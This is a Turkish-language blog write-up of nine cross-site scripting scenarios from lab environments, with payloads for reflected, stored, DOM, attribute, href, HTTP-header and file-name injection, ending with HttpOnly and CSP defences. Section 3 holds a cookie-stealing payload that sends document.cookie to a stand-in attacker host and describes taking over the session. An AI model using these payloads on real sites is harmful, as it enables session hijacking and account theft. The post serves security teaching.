August 8, 2026
Bir XSS Turu: Temelden Az Bilinene (9 farklı senaryo)
(Bu yazıdaki tüm örnekler, izole ve internete kapalı, eğitim amaçlı kurulmuş laboratuvar ortamlarında test edilmiştir. Yazının amacı…
By Aliayyildiz
4 min read
(Bu yazıdaki tüm örnekler, izole ve internete kapalı, eğitim amaçlı kurulmuş laboratuvar ortamlarında test edilmiştir. Yazının amacı, XSS'in her uygulamada farklı bir yüzle karşımıza çıkabildiğini göstermektir. Gerçek sistemlerde izinsiz test yapmak yasa dışıdır.)
Bu yazıda, dokuz farklı senaryo üzerinden XSS'in farklı yüzlerini inceleyeceğim: klasik reflected ve stored XSS, DOM tabanlı enjeksiyon, HTTP başlıkları ve dosya adları üzerinden tetiklenen çeşitli varyasyonlar...
1. Reflected XSS: Anlık Yansıma
Reflected XSS'te girdiğiniz veri sunucuya gider, işlenir ve aynı istek/response içinde doğrudan size geri yansıtılır. Kalıcı değildir; sayfa her yeniden çağrıldığında payload'ın da tekrar gönderilmesi gerekir.
Bir arama kutusunun girdiği değeri, hiçbir encode işlemi yapmadan doğrudan sonuç sayfasına yazdığı bir örnekte:
<script>alert(1)</script><script>alert(1)</script>Bu değer tarayıcı tarafından HTML olarak parse edildi ve script çalıştı.
Neden önemli?
Tek başına zararsız görünse de saldırgan bu payload'ı içeren bir bağlantıyı hedefe gönderdiğinde, kurban bağlantıya tıkladığı an kod kurbanın kendi oturumunda çalışır.
2. Stored XSS
Stored XSS'in reflected'den farkı, payload'ın veritabanına kalıcı olarak yazılmasıdır. Bu, tek bir gönderimle potansiyel olarak yüzlerce kullanıcıyı etkileyebileceğiniz anlamına gelir.
Bir mesajlaşma/destek formunda, kullanıcının gönderdiği metin filtrelenmeden veritabanına kaydediliyor ve panel her açıldığında olduğu gibi render ediliyordu:
<script>alert(1)</script><script>alert(1)</script>
Mesaj gönderildikten sonra sayfa her açıldığında alert tekrar tetiklendi bu, payload'ın kalıcı olduğunun kanıtıydı.
3. Stored XSS ile Cookie Çalma
Bir alert kutusu göstermek kanıt için yeterlidir, ama gerçek dünyada saldırganın amacı genelde oturum çalmaktır. alert(document.cookie) yerine, cookie değerini kendi sunucunuza gönderen bir payload kullanılabilir:
<script>new Image().src="http://saldirgan-sunucu:8000/?c="+document.cookie</script><script>new Image().src="http://saldirgan-sunucu:8000/?c="+document.cookie</script>Bu payload'ı bir "kullanıcıdan yöneticiye mesaj" alanına bıraktığımda, arka planda çalışan otomatik bir inceleme mekanizması mesajı açtı ve kendi oturum çerezini dinleyicime gönderdi:
GET /?c=PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxxxx HTTP/1.1
User-Agent: Mozilla/5.0 ... HeadlessChrome/...GET /?c=PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxxxx HTTP/1.1
User-Agent: Mozilla/5.0 ... HeadlessChrome/...Bu değeri kendi tarayıcımda oturum çerezi olarak ayarladığımda, ilgili hesabın oturumunu devraldım.
Hassas oturum çerezlerinde HttpOnly ve Secure bayraklarının bulunması, tam da bu senaryoyu engellemek için kritik önem taşır — HttpOnly set edilmiş olsaydı document.cookie boş dönerdi.
4. DOM Tabanlı XSS
DOM tabanlı XSS'te payload sunucuya gitse bile sunucu onu işlemez; zafiyet tamamen istemci tarafında, JavaScript'in URL parametrelerini doğrudan sayfaya yazmasıyla oluşur.
Bir platform üzerindeki lab ortamında basit bir hesaplama formunda şu türde bir istemci kodu vardı:
var height = <URL_PARAMETRESİ>;var base = 5;var ans = base * height / 2;
document.getElementById("answer").innerHTML = "Area: " + ans;var height = <URL_PARAMETRESİ>;var base = 5;var ans = base * height / 2;
document.getElementById("answer").innerHTML = "Area: " + ans;Parametre tırnaksız olarak doğrudan JavaScript koduna ekleniyordu. Yani bir string değil, doğrudan kod bağlamına düşüyordu. Uygulamanın işlevselliğini bozmadan tetiklemek için:
height=1;alert(1)height=1;alert(1)Sonuç:
var height = 1;alert(1);var base = 5; ...var height = 1;alert(1);var base = 5; ...height=1 geçerli bir sayı olduğundan hesaplama bozulmadan devam etti; arada eklenen alert(1) ise sorunsuzca çalıştı. Hedefimiz de zaten payload'ı mevcut kod akışının arasına enjekte edip devamını bozmadan bırakmaktı.
5. Attribute-Context XSS:
Bazı uygulamalarda <script> etiketi ayrıca filtrelenir ya da encode edilir, ama aynı girdi bir HTML attribute içine ham hâliyle yerleşebilir:
<input type="text" value="KULLANICI_GİRDİSİ"><input type="text" value="KULLANICI_GİRDİSİ">Bu tür durumlarda <script> denemesi işe yaramaz, ama attribute'u tırnakla kapatıp bir tetikleyici ekleyince çalışır:
" autofocus onfocus="alert(1)" autofocus onfocus="alert(1)Sonuç:
<input type="text" value="" autofocus onfocus="alert(1)"><input type="text" value="" autofocus onfocus="alert(1)">- İlk " mevcut
value="..."attribute'unu kapattı. autofocus, tarayıcıya bu alana sayfa yüklenir yüklenmez otomatik odaklanmasını söyledi — kullanıcı etkileşimi gerekmedi.onfocus="alert(1), odak alındığı an tetiklendi.
Bu, <script> tag'i engellendiğinde başvurulan en yaygın bypass tekniklerinden biridir. onmouseover, onerror (img/svg ile) veya onload (svg/body ile) gibi başka event handler'lar da aynı mantıkla kullanılabilir.
6. href Özniteliği ve javascript: Şeması
Link (<a>) etiketlerinde kullanıcı girdisi doğrudan href özniteliğine yazılıyorsa, en basit tetikleme yöntemi tırnaktan kaçmaya bile gerek kalmadan javascript: URL şemasını kullanmaktır:
javascript:alert(1)javascript:alert(1)Bu değer href="javascript:alert(1)" olarak render edildiğinde, bağlantıya tıklandığında tarayıcı bunu bir sayfa yönlendirmesi değil, çalıştırılacak bir JavaScript kodu olarak yorumlar.
7. href Özniteliğinden Klasik Kaçış
Bir önceki tekniğin çalışmadığı, javascript: şemasının engellendiği durumlarda, klasik attribute kaçışı devreye girer:
" onmouseover="alert(1)" onmouseover="alert(1)Sonuç:
<a href="" onmouseover="alert(1)">Bağlantı Metni</a><a href="" onmouseover="alert(1)">Bağlantı Metni</a>Bağlantının üzerine fare ile gelindiğinde tıklamaya gerek kalmadan alert tetiklenir. Bu yöntem, hem href hem value gibi farklı attribute'larda aynı mantıkla çalışır.
8. HTTP Başlıkları Üzerinden Stored XSS
Buraya kadarki tüm örneklerde payload bir form alanına yazılıyordu. Ama bazı uygulamalar, kullanıcının doğrudan kontrol edemeyeceğini düşündükleri HTTP başlıklarını da (User-Agent, Referer, X-Forwarded-For gibi) loglayıp bir panelde gösterir — genelde bu veriler "güvenli" kabul edildiği için ekstra bir filtrelemeden geçmez.
Bir platform üzerindeki lab ortamında "son ziyaretçiler" logunda, her isteğin User-Agent değeri filtrelenmeden bir tabloya yazılıyordu. Tarayıcının kendi User-Agent'ı normalde değiştirilemese de, tarayıcının geliştirici araçları veya bir proxy aracı üzerinden bu değeri manipüle etmek mümkün.
User-Agent: <script>alert(1)</script>User-Agent: <script>alert(1)</script>Sonuç, log sayfasının HTML kaynağında şu şekilde görünüyordu:
<td><script>alert(1)</script></td><td><script>alert(1)</script></td>Bu, normalde kullanıcı tarafından doğrudan görülmeyen bir HTTP başlığının bile filtrelenmeden render edilmesinin ne kadar tehlikeli olabileceğini gösteriyor. Saldırgan hiçbir form alanına dokunmadan, sadece isteğin başlığını değiştirerek zafiyeti tetikleyebiliyor.
9. Yüklenen Dosya Adı Üzerinden Stored XSS
Belki de en az beklenen vektör: dosya yükleme formları. İçerik doğrulaması güçlü olsa bile, dosyanın adı genelde ayrı bir güvenlik değerlendirmesinden geçmez.
Bir profil fotoğrafı yükleme formunda, hem istemci hem sunucu tarafı içerik türünü (image/jpeg) sıkı şekilde doğruluyordu — yani SVG içeriğini .jpg uzantısıyla kaçırmak işe yaramadı. Ama yüklenen dosyanın adı, profil resmini gösteren <img> etiketinin src özniteliğine filtrelenmeden yazılıyordu.
Dosya adını şu şekilde ayarlayıp yükledim (dosya sistemlerinde / karakterinin yasak olması nedeniyle kapanan bir etiket yerine öz-kapanan bir event handler kullandım):
x"><svg onload=alert(1)>.jpgx"><svg onload=alert(1)>.jpgSonuç, sayfa kaynağında:
<img src="uploads/x"><svg onload=alert(1)>.jpg"><img src="uploads/x"><svg onload=alert(1)>.jpg">Tarayıcı bu tırnağı gördüğünde img etiketini erken kapattı, ardından gelen <svg onload=alert(1)> yeni bir etiket olarak parse edildi ve onload event'i sayfa yüklenir yüklenmez otomatik tetiklendi — resmin kendisinin görüntülenip görüntülenmediğinden tamamen bağımsız olarak.
Çıkarım: Dosya yükleme güvenliği sadece "içerik gerçekten bir resim mi" sorusuna odaklanmamalı; dosya adının, boyutunun ve diğer metadata'sının da uygulamanın herhangi bir yerinde render edildiği her nokta ayrıca değerlendirilmelidir.
Sonuç
Bu dokuz örneğin çoğu, ilk bakışta akla gelmeyecek yerlerdeydi — bir dosya adı, bir HTTP başlığı, bir link özniteliği...
Sadece "belirgin" giriş noktalarına odaklanıp, saldırganın asıl fark yaratacağı sessiz köşeleri atlamak. Kullanıcı girdisi, nereden geldiğine bakılmaksızın (form alanı, URL parametresi, HTTP başlığı, dosya adı) asla güvenilir kabul edilmemelidir.
Ayrıca stored XSS'in otomatik bir inceleme/moderasyon mekanizmasıyla birleştiğinde ne kadar hızlı bir oturum ele geçirme saldırısına dönüşebildiğini görmek, HttpOnly cookie bayrağı ve Content-Security-Policy (CSP) gibi savunma katmanlarının "olsa iyi olur" değil, "olmazsa olmaz" olduğunu bir kez daha gösteriyor.
08.08.2026 Ali Sacit Ayyıldız